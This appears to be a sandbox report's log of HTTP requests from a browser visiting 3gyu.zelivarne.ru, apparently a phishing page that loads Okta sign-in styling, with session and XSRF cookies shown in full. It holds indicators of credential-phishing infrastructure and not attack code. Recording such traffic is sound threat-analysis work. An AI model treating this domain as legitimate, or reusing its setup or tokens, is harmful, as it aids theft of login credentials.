XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-aliveOrigin: https://3gyu.zelivarne.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-aliveOrigin: https://3gyu.zelivarne.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-aliveOrigin: https://3gyu.zelivarne.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-aliveOrigin: https://3gyu.zelivarne.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34P8Pz1XFAhodBklQEqQD5N0Wi89110 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250314%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250314T113054Z&X-Amz-Expires=300&X-Amz-Signature=b36e5b21c5c25f14200202b073a138fc84a0aa21abce476eb7b59bbedfb609ce&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ij3mVd4nBfXO2p7UAcQtwl0uyop7Kn1BYrNmFY3LfuqKWIWpp9YSM8yz230 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klCJzhaaH5UigoAij6llWBXy9M8fW4hOzWCJ5ohxY5kl7tyZYonJKyrGYQoK8asRwx217 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvHgcagATcpjbXYuUyrwYjQPPgqrRRLpBVuNdIfjp034123 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opr1VFSs1sanEMxZn1ROsHQDNutPghFaCQJVucwRf7S45133 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef0AixXB22vfIy4Wn0KrTuvVXzW7jWETCF990150 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlNXUVE0cm5uV3JrUHhWcXRVZTEydnc9PSIsInZhbHVlIjoiYm5ubFdJS0U1REc0SWRGM1lWdHRCbkkyNjBGSjhVNXdhODVGSUlQWTRaNVVMOGk3ME5wM09Gbm1lSE9xTG9INGczU2o1M3d4Q0VmMVBiMXgrQWhhdFM4N2NFODcrMlZRZkxrT2wxMGNJTXMwa3lUaE9sRFpxSEZ1NHh3K1VCZTEiLCJtYWMiOiI2NDc4OTM4NzUzNTYwMWU5N2YzN2FhODVhNWRhMDMzZjRjOTY4NTViYjIwMDIwMjUxNzczMGU5ZWY2YTg3NjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZNMnVyMnNyQ0svNkJrakt6c2JaSGc9PSIsInZhbHVlIjoieUdQUElLcGlZYlRWalNaL1JZMCtzK2ZJTmppSnB3MThEUEFHRENGVzBjSUFHUXZnWVFOdmdQYjh1WFRBaUc3SGxjQkgyblJqOVl2TnBHS054SHdGbWZIcmZRblhXZmVjMUQvZWFiK3hPYVNxUUtDSEZkL0RXeEJhVEpDMURYT1QiLCJtYWMiOiI1ZWM3OWYxZDZiZjBjYjFmMTI4YmVkYjljMmQ1YTllMDMxODhjNDJmZDJiNTkyMjMzYzI0YjgyMjVlNDgwMjA0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijGDvZBAgaMOHXq51Ey2gFkkczca5wxKf5f08HHD2XxhCcAhQaKgs78170 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlNXUVE0cm5uV3JrUHhWcXRVZTEydnc9PSIsInZhbHVlIjoiYm5ubFdJS0U1REc0SWRGM1lWdHRCbkkyNjBGSjhVNXdhODVGSUlQWTRaNVVMOGk3ME5wM09Gbm1lSE9xTG9INGczU2o1M3d4Q0VmMVBiMXgrQWhhdFM4N2NFODcrMlZRZkxrT2wxMGNJTXMwa3lUaE9sRFpxSEZ1NHh3K1VCZTEiLCJtYWMiOiI2NDc4OTM4NzUzNTYwMWU5N2YzN2FhODVhNWRhMDMzZjRjOTY4NTViYjIwMDIwMjUxNzczMGU5ZWY2YTg3NjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZNMnVyMnNyQ0svNkJrakt6c2JaSGc9PSIsInZhbHVlIjoieUdQUElLcGlZYlRWalNaL1JZMCtzK2ZJTmppSnB3MThEUEFHRENGVzBjSUFHUXZnWVFOdmdQYjh1WFRBaUc3SGxjQkgyblJqOVl2TnBHS054SHdGbWZIcmZRblhXZmVjMUQvZWFiK3hPYVNxUUtDSEZkL0RXeEJhVEpDMURYT1QiLCJtYWMiOiI1ZWM3OWYxZDZiZjBjYjFmMTI4YmVkYjljMmQ1YTllMDMxODhjNDJmZDJiNTkyMjMzYzI0YjgyMjVlNDgwMjA0IiwidGFnIjoiIn0%3D
